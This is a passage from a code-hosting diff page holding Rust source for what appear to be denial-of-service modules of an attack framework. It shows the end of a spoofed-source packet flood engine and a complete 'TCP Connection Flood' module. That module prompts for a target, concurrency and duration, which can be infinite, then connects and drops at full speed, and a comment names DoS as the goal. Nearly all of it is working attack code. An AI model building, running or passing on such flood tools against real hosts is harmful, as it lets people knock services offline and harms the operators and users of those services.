|
||||
async fn execute_attack(config: ExhaustionConfig) -> Result<()> {
|
||||
println!("\n{}", "[*] Initializing attack engine...".yellow().bold());
|
||||
|
||||
// Shared state
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let packets_sent = Arc::new(AtomicU64::new(0));
|
||||
let bytes_sent = Arc::new(AtomicU64::new(0));
|
||||
|
||||
// Detect local IP if needed (only used when NOT spoofing)
|
||||
let local_ip = if !config.use_random_source_ip {
|
||||
get_local_ipv4().unwrap_or(Ipv4Addr::new(127, 0, 0, 1))
|
||||
} else {
|
||||
Ipv4Addr::UNSPECIFIED
|
||||
};
|
||||
|
||||
if config.use_random_source_ip {
|
||||
println!("{}", "[*] IP Spoofing Mode: Each packet will use a different random source IP".green().bold());
|
||||
} else {
|
||||
println!("[*] Local IP: {}", local_ip);
|
||||
}
|
||||
|
||||
println!("[*] Spawning {} worker threads...", config.worker_count);
|
||||
|
||||
let start_time = Instant::now();
|
||||
let duration = Duration::from_secs(config.duration_secs);
|
||||
|
||||
// Spawn native OS threads (not tokio tasks - blocking I/O)
|
||||
let mut handles = Vec::with_capacity(config.worker_count);
|
||||
|
||||
for worker_id in 0..config.worker_count {
|
||||
let config = config.clone();
|
||||
let stop = stop_flag.clone();
|
||||
let pkts = packets_sent.clone();
|
||||
let bts = bytes_sent.clone();
|
||||
|
||||
let handle = thread::spawn(move || {
|
||||
worker_thread(worker_id, config, local_ip, stop, pkts, bts, start_time);
|
||||
});
|
||||
|
||||
handles.push(handle);
|
||||
}
|
||||
|
||||
println!("{}", "[*] Attack started!".green().bold());
|
||||
|
||||
// Stats display loop (async-friendly)
|
||||
let stats_stop = stop_flag.clone();
|
||||
let stats_pkts = packets_sent.clone();
|
||||
let stats_bytes = bytes_sent.clone();
|
||||
|
||||
let stats_task = tokio::spawn(async move {
|
||||
while !stats_stop.load(Ordering::Relaxed) {
|
||||
tokio::time::sleep(Duration::from_secs(2)).await;
|
||||
|
||||
let pkts = stats_pkts.load(Ordering::Relaxed);
|
||||
let bytes = stats_bytes.load(Ordering::Relaxed);
|
||||
let elapsed = start_time.elapsed().as_secs_f64();
|
||||
|
||||
let rate = if elapsed > 0.0 { pkts as f64 / elapsed } else { 0.0 };
|
||||
let mbps = if elapsed > 0.0 { (bytes as f64 * 8.0) / (elapsed * 1_000_000.0) } else { 0.0 };
|
||||
|
||||
print!("\r{}", format!(
|
||||
"[*] Packets: {:>10} | {:>7.2} MB | Rate: {:>9.0} pkt/s | {:>6.2} Mbps ",
|
||||
pkts,
|
||||
bytes as f64 / (1024.0 * 1024.0),
|
||||
rate,
|
||||
mbps
|
||||
).dimmed());
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
}
|
||||
});
|
||||
|
||||
// Wait for test duration
|
||||
tokio::time::sleep(duration).await;
|
||||
|
||||
// Signal workers to stop
|
||||
stop_flag.store(true, Ordering::SeqCst);
|
||||
|
||||
// Wait for all workers to finish
|
||||
for handle in handles {
|
||||
let _ = handle.join();
|
||||
}
|
||||
|
||||
stats_task.abort();
|
||||
|
||||
// Final statistics
|
||||
let total_pkts = packets_sent.load(Ordering::Relaxed);
|
||||
let total_bytes = bytes_sent.load(Ordering::Relaxed);
|
||||
let elapsed = start_time.elapsed();
|
||||
let elapsed_secs = elapsed.as_secs_f64();
|
||||
|
||||
println!("\n\n{}", "=== Attack Complete ===".green().bold());
|
||||
println!(" Duration: {:.2}s", elapsed_secs);
|
||||
println!(" Total Packets: {}", total_pkts);
|
||||
println!(" Total Data: {:.2} MB", total_bytes as f64 / (1024.0 * 1024.0));
|
||||
|
||||
if elapsed_secs > 0.0 {
|
||||
println!(" Avg Rate: {:.0} pkt/s", total_pkts as f64 / elapsed_secs);
|
||||
println!(" Avg Bandwidth: {:.2} Mbps", (total_bytes as f64 * 8.0) / (elapsed_secs * 1_000_000.0));
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn get_local_ipv4() -> Option<Ipv4Addr> {
|
||||
use std::net::UdpSocket;
|
||||
let socket = UdpSocket::bind("0.0.0.0:0").ok()?;
|
||||
socket.connect("8.8.8.8:80").ok()?;
|
||||
match socket.local_addr().ok()?.ip() {
|
||||
IpAddr::V4(ip) => Some(ip),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,253 @@
|
||||
use anyhow::{Result, anyhow, Context};
|
||||
use colored::*;
|
||||
use tokio::io::AsyncWriteExt; // Required for stream.shutdown()
|
||||
|
||||
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use std::net::SocketAddr;
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::Instant;
|
||||
use crate::utils::{
|
||||
normalize_target, prompt_default, prompt_port, prompt_required, prompt_yes_no,
|
||||
};
|
||||
|
||||
/// Configuration for the connection flood
|
||||
#[derive(Clone, Debug)]
|
||||
struct TcpFloodConfig {
|
||||
target_addr: String, // Host:Port (Display only)
|
||||
resolved_addrs: Vec<SocketAddr>, // Pre-resolved addresses
|
||||
concurrent_connections: usize,
|
||||
duration_secs: u64,
|
||||
timeout_ms: u64,
|
||||
verbose: bool,
|
||||
}
|
||||
|
||||
/// Entry point for the module
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
print_banner();
|
||||
|
||||
let config = setup_wizard(initial_target).await?;
|
||||
execute_flood(&config).await
|
||||
}
|
||||
|
||||
fn print_banner() {
|
||||
println!("{}", r#"
|
||||
╔══════════════════════════════════════════════════════════════╗
|
||||
║ TCP Connection Flood (Connect & Drop) ║
|
||||
║ High-Performance Handshake Exhaustion ║
|
||||
╚══════════════════════════════════════════════════════════════╝
|
||||
"#.red().bold());
|
||||
}
|
||||
|
||||
async fn setup_wizard(initial_target: &str) -> Result<TcpFloodConfig> {
|
||||
println!("{}", "=== Configuration ===".blue().bold());
|
||||
|
||||
// Target
|
||||
let target_input = if initial_target.trim().is_empty() {
|
||||
prompt_required("Target Host/IP")?
|
||||
} else {
|
||||
println!("{}", format!("[*] Using target: {}", initial_target).cyan());
|
||||
initial_target.to_string()
|
||||
};
|
||||
|
||||
// Normalize and extract details
|
||||
let normalized = normalize_target(&target_input)?;
|
||||
|
||||
// If normalized already has port, use it, else ask
|
||||
let (host, port) = if let Some((h, p)) = normalized.split_once(':') {
|
||||
let parsed_port = p.parse::<u16>()
|
||||
.map_err(|_| anyhow!("Invalid port '{}' in target", p))?;
|
||||
(h.to_string(), parsed_port)
|
||||
} else {
|
||||
let p = prompt_port("Target Port", 80)?;
|
||||
(normalized, p)
|
||||
};
|
||||
|
||||
let target_addr = format!("{}:{}", host, port);
|
||||
|
||||
// Pre-resolve DNS
|
||||
println!("{}", format!("[*] Resolving {}...", target_addr).yellow());
|
||||
let resolved_addrs: Vec<SocketAddr> = tokio::net::lookup_host(&target_addr).await
|
||||
.context("Failed to resolve target hostname")?
|
||||
.collect();
|
||||
|
||||
if resolved_addrs.is_empty() {
|
||||
return Err(anyhow!("Could not resolve target address"));
|
||||
}
|
||||
|
||||
println!("{}", format!("[+] Resolved to: {:?}", resolved_addrs).green());
|
||||
|
||||
// Concurrency
|
||||
let concurrency_input = prompt_default("Concurrent Connections", "500")?;
|
||||
let concurrent_connections: usize = concurrency_input.parse()
|
||||
.map_err(|_| anyhow!("Invalid number for concurrency"))?;
|
||||
|
||||
if concurrent_connections == 0 {
|
||||
return Err(anyhow!("Concurrency must be > 0"));
|
||||
}
|
||||
|
||||
// Timeout
|
||||
let timeout_input = prompt_default("Connection Timeout (ms)", "1000")?;
|
||||
let timeout_ms: u64 = timeout_input.parse()
|
||||
.map_err(|_| anyhow!("Invalid timeout"))?;
|
||||
|
||||
let verbose = prompt_yes_no("Verbose Output (show errors)?", false)?;
|
||||
|
||||
// Duration
|
||||
let duration_input = prompt_default("Duration (seconds, 0 = infinite)", "60")?;
|
||||
let duration_secs: u64 = duration_input.parse()
|
||||
.map_err(|_| anyhow!("Invalid duration"))?;
|
||||
|
||||
println!("\n{}", "=== Attack Summary ===".bold());
|
||||
println!(" Target: {}", target_addr.cyan());
|
||||
println!(" IP(s): {:?}", resolved_addrs);
|
||||
println!(" Concurrency: {}", concurrent_connections);
|
||||
println!(" Duration: {}", if duration_secs == 0 {
|
||||
"INFINITE (Ctrl+C to stop)".to_string()
|
||||
} else {
|
||||
format!("{}s", duration_secs)
|
||||
});
|
||||
println!(" Mode: Connect & Drop (Handshake Stress)");
|
||||
|
||||
if !prompt_yes_no("Start Attack?", true)? {
|
||||
return Err(anyhow!("Attack cancelled by user"));
|
||||
}
|
||||
|
||||
Ok(TcpFloodConfig {
|
||||
target_addr,
|
||||
resolved_addrs,
|
||||
concurrent_connections,
|
||||
duration_secs,
|
||||
timeout_ms,
|
||||
verbose,
|
||||
})
|
||||
}
|
||||
|
||||
async fn execute_flood(config: &TcpFloodConfig) -> Result<()> {
|
||||
println!("\n{}", "[*] Starting TCP Connection Flood...".yellow().bold());
|
||||
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let stats_established = Arc::new(AtomicU64::new(0));
|
||||
let stats_failed = Arc::new(AtomicU64::new(0));
|
||||
|
||||
let start_time = Instant::now();
|
||||
let duration = Duration::from_secs(config.duration_secs);
|
||||
let timeout_duration = Duration::from_millis(config.timeout_ms);
|
||||
|
||||
// Use the first resolved address for speed/simplicity
|
||||
// In a more complex version, we could round-robin, but for DoS, hitting one IP hard is usually the goal.
|
||||
let target_ip = config.resolved_addrs[0];
|
||||
|
||||
// Stats Printer
|
||||
let s_stop = stop_flag.clone();
|
||||
let s_est = stats_established.clone();
|
||||
let s_fail = stats_failed.clone();
|
||||
let s_start = start_time;
|
||||
|
||||
let stats_handle = tokio::spawn(async move {
|
||||
while !s_stop.load(Ordering::Relaxed) {
|
||||
tokio::time::sleep(Duration::from_secs(1)).await;
|
||||
let est = s_est.load(Ordering::Relaxed);
|
||||
let fail = s_fail.load(Ordering::Relaxed);
|
||||
let elapsed = s_start.elapsed().as_secs_f64().max(0.001);
|
||||
let rate = est as f64 / elapsed;
|
||||
|
||||
print!("\r{}", format!(
|
||||
"[*] Connected: {} | Failed: {} | Rate: {:.1} conn/s",
|
||||
est, fail, rate
|
||||
).dimmed());
|
||||
use std::io::Write;
|
||||
let _ = std::io::stdout().flush();
|
||||
}
|
||||
});
|
||||
|
||||
// Fixed Pool of Workers
|
||||
let mut handles = Vec::with_capacity(config.concurrent_connections);
|
||||
|
||||
for _ in 0..config.concurrent_connections {
|
||||
let stop = stop_flag.clone();
|
||||
let est = stats_established.clone();
|
||||
let fail = stats_failed.clone();
|
||||
let cfg_timeout = timeout_duration;
|
||||
let verbose = config.verbose;
|
||||
let target = target_ip; // SocketAddr is Copy, so this is cheap and efficient
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let mut err_counter = 0u64;
|
||||
|
||||
while !stop.load(Ordering::Relaxed) {
|
||||
// Try to connect using the pre-resolved IP
|
||||
// This skips DNS resolution on every attempt
|
||||
match tokio::time::timeout(cfg_timeout, TcpStream::connect(target)).await {
|
||||
Ok(Ok(mut stream)) => {
|
||||
// Connected!
|
||||
est.fetch_add(1, Ordering::Relaxed);
|
||||
// "Connect & Drop" - Immediate shutdown sends FIN
|
||||
let _ = stream.shutdown().await;
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
// Connection failed (refused, network unreachable, etc.)
|
||||
fail.fetch_add(1, Ordering::Relaxed);
|
||||
if verbose {
|
||||
err_counter = err_counter.wrapping_add(1);
|
||||
// Log ~0.1% of errors
|
||||
if err_counter % 1000 == 0 {
|
||||
eprintln!("\n[!] Conn Error: {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(_) => {
|
||||
// Timeout
|
||||
fail.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
// No sleep - max speed
|
||||
}
|
||||
});
|
||||
handles.push(handle);
|
||||
}
|
||||
|
||||
// Wait for duration or Ctrl+C
|
||||
if config.duration_secs > 0 {
|
||||
tokio::time::sleep(duration).await;
|
||||
} else {
|
||||
println!(
|
||||
"\n{}",
|
||||
"[*] Running indefinitely. Press Ctrl+C to stop.".yellow()
|
||||
);
|
||||
let _ = tokio::signal::ctrl_c().await;
|
||||
}
|
||||
stop_flag.store(true, Ordering::Relaxed);
|
||||
|
||||
// Return cursor to new line after stats
|
||||
println!();
|
||||
println!("{}", "[*] Stopping threads...".yellow());
|
||||
|
||||
// Wait for workers to finish (graceful shutdown)
|
||||
// In a massive flood, we might not strictly wait for all if they are hung, but with timeout they should finish.
|
||||
// We can just detach them or await them. Awaiting ensures clean exit.
|
||||
for h in handles {
|
||||
let _ = h.await;
|
||||
}
|
||||
|
||||
// Stop stats thread
|
||||
let _ = stats_handle.await;
|
||||
|
||||
// Final Report
|
||||
let total_est = stats_established.load(Ordering::Relaxed);
|
||||
let total_fail = stats_failed.load(Ordering::Relaxed);
|
||||
let elapsed = start_time.elapsed().as_secs_f64();
|
||||
|
||||
println!("\n{}", "=== Attack Complete ===".green().bold());
|
||||
println!("Target: {}", config.target_addr);
|
||||
println!("Duration: {:.2}s", elapsed);
|
||||
println!("Total Connections: {}", total_est);
|
||||
println!("Failed Attempts: {}", total_fail);
|
||||
|
||||
if elapsed > 0.0 {
|
||||
println!("Average Rate: {:.1} conn/s", total_est as f64 / elapsed);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
Reference in New Issue
Block a user